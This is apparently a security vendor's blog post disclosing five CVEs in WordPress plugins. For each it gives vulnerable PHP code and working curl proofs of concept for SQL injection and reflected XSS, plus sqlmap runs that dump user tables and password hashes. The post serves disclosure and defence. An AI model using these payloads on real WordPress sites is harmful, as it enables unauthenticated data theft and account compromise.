Multiples WordPress plugins CVE analysis

Joshua Martinelle
Tenable TechBlog
Published in
8 min readJan 24, 2023
https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins/
https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins/

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze several vulnerabilities found in different WordPress plugins :

CVE-2023–23488 : Paid Memberships Pro < 2.9.8 — Unauthenticated SQL Injection

Reference: https://wordpress.org/plugins/paid-memberships-pro
Affected Versions: < 2.9.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

Paid Memberships Pro gives you all the tools you need to start, manage, and grow your membership site. The plugin is designed for premium content sites, online course or LMS and training-based memberships, clubs and associations, members-only product discount sites, subscription box products, paid newsletters, and more.

The plugin does not escape the ‘code’ parameter in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.

Vulnerable Code:

This vulnerability is present in the ‘./classes/class.memberorder.php’

/*
Returns the order using the given order code.
*/
function getMemberOrderByCode($code)
{
global $wpdb;
$id = $wpdb->get_var("SELECT id FROM $wpdb->pmpro_membership_orders WHERE code = '" . $code . "' LIMIT 1");
if($id)
return $this->getMemberOrderByID($id);
else
return false;
}

The ‘$code’ parameter is inserted into the SQL query without cleaning it first or using “$wpdb->prepare” which permit to prepares a SQL query for safe execution.

Proof of Concept:

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(1)))a)--%20-"
{}
real 0m3.068s
user 0m0.006s
sys 0m0.009s
CVE-2023–23488

Exploitation:

# sqlmap -u "http://192.168.1.12/?rest_route=/pmpro/v1/order&code=a*" --dbms=MySQL -dump -T wp_users

[...]
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.1.12:80/?rest_route=/pmpro/v1/order&code=a' AND (SELECT 2555 FROM (SELECT(SLEEP(5)))BnSC) AND 'SsRo'='SsRo
---
[15:23:35] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:23:51] [INFO] confirming MySQL
[15:23:51] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[15:24:21] [INFO] adjusting time delay to 1 second due to good response times
[15:24:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[...]
[15:24:21] [INFO] fetching columns for table 'wp_users' in database 'wasvwa'
[...]
[15:36:26] [INFO] retrieved: admin
[15:37:09] [INFO] retrieved:
[15:37:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[15:37:09] [INFO] retrieved: was@was.tld
[15:39:06] [INFO] retrieved: admin
[15:39:49] [INFO] retrieved: admin
[15:40:32] [INFO] retrieved: $P$BPEJq1QWmIm.EEKtbgj/ogVzxGPV4I/

CVE-2023–23489 : Easy Digital Downloads 3.1.0.2 & 3.1.0.3 — Unauthenticated SQL Injection

Reference: https://wordpress.org/plugins/easy-digital-downloads/
Affected Versions: 3.1.0.2 & 3.1.0.3
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

Easy Digital Downloads is a complete eCommerce solution for selling digital products on WordPress.

The plugin does not escape the ‘s’ parameter in one of its ajax actions before using it in a SQL statement, leading to a SQL injection.

Vulnerable Code:

The vulnerable part of the code corresponds to the ‘edd_ajax_download_search()’ function of the ‘./includes/ajax-functions.php’ file

function edd_ajax_download_search() {
// We store the last search in a transient for 30 seconds. This _might_
// result in a race condition if 2 users are looking at the exact same time,
// but we'll worry about that later if that situation ever happens.
$args = get_transient( 'edd_download_search' );

// Parse args
$search = wp_parse_args( (array) $args, array(
'text' => '',
'results' => array()
) );

// Get the search string
$new_search = isset( $_GET['s'] )
? sanitize_text_field( $_GET['s'] )
: '';

[...]
// Default query arguments
$args = array(
'orderby' => 'title',
'order' => 'ASC',
'post_type' => 'download',
'posts_per_page' => 50,
'post_status' => implode( ',', $status ), // String
'post__not_in' => $excludes, // Array
'edd_search' => $new_search, // String
'suppress_filters' => false,
);
[...]

// Get downloads
$items = get_posts( $args );

[...]
}

Contrary to what one might think, the use of ‘sanitize_text_field()’ does not protect against SQL injections, this core function is in charge of

  • Checks for invalid UTF-8
  • Converts single < characters to entities
  • Strips all tags
  • Removes line breaks, tabs, and extra whitespace
  • Strips octets

The value of parameter ‘s’ is added to the variable ‘$args’ which is an array used in the call to the WordPress Core function ‘get_posts()’.

// File wp-includes/post.php
// This core function performs the SQL query but does not apply any filtering

function get_posts( $args = null ) {

[...]

$get_posts = new WP_Query;
return $get_posts->query( $parsed_args );

}

Although get_posts() is a WordPress Core function, it is not recommended because get_posts bypasses some filter. See 10up Engineering Best Practices

Proof of Concept:
Note: The same SQL injection/unique request will not work twice in a row right away, as the ‘edd_ajax_download_search()’ function stores the most recent search for 30 seconds (so to run the same payload again, you will have to modify the payload slightly or wait 30 seconds).

time curl "http://TARGET_HOST/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"
{}
real 0m2.062s
user 0m0.006s
sys 0m0.009s
CVE-2023–23489
CVE-2023–23489

CVE-2023–23490 : Survey Maker Authenticated SQL Injection

Reference: https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

WordPress Survey plugin is a powerful, yet easy-to-use WordPress plugin designed for collecting data from a particular group of people and analyze it. You just need to write a list of questions, configure the settings, save and paste the shortcode of the survey into your website.

The plugin does not escape the ‘surveys_ids’ parameter in the ‘ays_surveys_export_json’ action before using it in a SQL statement, leading to an authenticated SQL injection vulnerability.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the ‘subscriber’ privilege level.

Subscribers have the fewest permissions and capabilities of all the WordPress roles. It is the default user role set for new registrations.

Vulnerable Code:

public function ays_surveys_export_json() {
global $wpdb;

$surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
[...]

if(empty($surveys_ids)){
$where = '';
}else{
$where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
}

[...]

$sql_surveys = "SELECT * FROM ".$surveys_table.$where;
$surveys = $wpdb->get_results($sql_surveys, 'ARRAY_A');
[...]
}

The part of the vulnerable code corresponds to the ‘ays_surveys_export_json()’ function of the ‘./admin/class-survey-maker-admin.php’ file.

The request is executed without having used $wpdb->prepare() first

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-"
{}
real 0m3.056s
user 0m0.006s
sys 0m0.009s
CVE-2023–23490
CVE-2023–23490

Exploitation:

The vulnerability can also be exploited in error based which facilitates the extraction of data via a tool such as SQLmap

# sqlmap -u "http://192.168.1.12/wp-admin/admin-ajax.php" --cookie="wordpress_e38c3ed8043e3ddf7aa8d7615bce358e=subscriber%7C1674054590%7Cg9hsFPDo9po0OPeS4HN1MuwSbOe3rJ5Y3zunH2z9RD6%7C96429535ce78881cd6f4f4d5c8213b64d75266a7731e3e4d7975f63591d3b3a2" --data="action=ays_surveys_export_json&surveys_ids[0]=1" -p 'surveys_ids[0]' --technique E --dump -T wp_users

[...]
Database: wasvwa
Table: wp_users
[2 entries]
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://192.168.1.12 | $P$BPEJq1QWmIm.EEKtbgj/ogVzxGPV4I/ | was@was.tld | admin | 0 | admin | admin | 2023-01-16 13:27:28 | <blank> |
| 2 | <blank> | $P$Bo.y4/hfFQWGXUBKrDxivIJImGYEXM. | subscriber@was.tld | subscriber | 0 | subscriber | subscriber | 2023-01-16 13:27:39 | <blank> |
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+--------------------

CVE-2023–23491 : Quick Event Manager < 9.7.5 Unauthenticated Reflected Cross-Site Scripting

Reference: https://wordpress.org/plugins/quick-event-manager/
Affected Versions: < 9.7.5
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSSv3 Score: 6.1

A quick and easy to use event creator. Just add new events and publish. The shortcode lists all the events.

The plugin uses the value of the ‘category’ parameter in the response without prior filtering. The vulnerability does not require authentication to be exploited.

Vulnerable Code:

The vulnerable code is present in the function ‘qem_show_calendar()’ of the file ‘legacy/quick-event-manager.php’

// Builds the calendar page
function qem_show_calendar( $atts )
{
global $qem_calendars ;

[...]

$category = '';

[...]

if ( isset( $_REQUEST['category'] ) ) {
$category = $_REQUEST['category'];
}
[...]

$calendar .= "\r\n<script type='text/javascript'>\r\n";
$calendar .= "\tqem_calendar_atts[{$c}] = " . json_encode( $atts ) . ";\r\n";
$calendar .= "\tqem_month[{$c}] = {$currentmonth};\r\n";
$calendar .= "\tqem_year[{$c}] = {$currentyear};\r\n";
$calendar .= "\tqem_category[{$c}] = '{$category}';\r\n";
$calendar .= "</script>\r\n";

[...]

return $calendar . "</div>";
}

It’s possible to use the following payload which is reflected in the HTML :

</script><script>alert(1)</script>

Although the value is inserted in a Javascript variable between simple quotes and it does not seem possible to escape it, the first closing tag ‘</script>’ will have priority in the HTML of the page despite being in a string and allows escaping the context in order to inject arbitrary Javascript code.

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=</script><script>alert(1)</script>&qemyear=a
CVE-2023–23491
CVE-2023–23491
<div class="qem_calendar" id="qem_calendar_0"><a name="qem_calreload"></a>
<script type='text/javascript'>
qem_calendar_atts[0] = [];
qem_month[0] = 1;
qem_year[0] = ;
qem_category[0] = '</script><script>alert(1)</script>';
</script>

CVE-2023–23492 : Login With Form Number < 1.4.2 Unauthenticated Reflected Cross-Site Scripting

Reference: https://wordpress.org/plugins/quick-event-manager/
Affected Versions: < 1.4.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSSv3 Score: 6.1

A quick and easy to use event creator. Just add new events and publish. The shortcode lists all the events.

The ‘ID’ parameter of the ‘lwp_forgot_password’ action is used in the response without any filtering leading to an reflected XSS. Although the response is encoded in JSON, the Content-Type of the response is text/html which allows the exploitation of the vulnerability. This vulnerability is present in the ‘./login-with-phonenumber.php’ file in the ‘lwp_forgot_password()’ function.

Vulnerable Code:

Although the response is encoded in JSON, the Content-Type of the response is text/html which allows the exploitation of the vulnerability

function lwp_forgot_password()
{
$log = '';
if ($_GET['email'] != '' && $_GET['ID']) {
$log = $this->lwp_generate_token($_GET['ID'], $_GET['email'], true);

}

if ($_GET['phone_number'] != '' && $_GET['ID'] != '') {
$log = $this->lwp_generate_token($_GET['ID'], $_GET['phone_number']);
}

update_user_meta($_GET['ID'], 'updatedPass', '0');

echo json_encode([
'success' => true,
'ID' => $_GET['ID'],
'log' => $log,
'message' => __('Update password', $this->textdomain)
]);
}

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(1)>
CVE-2023–23492
CVE-2023–23492
{"success": true, "ID":"<svg onload=alert(1)>", "log":"", "message:" "Update password"}

--

--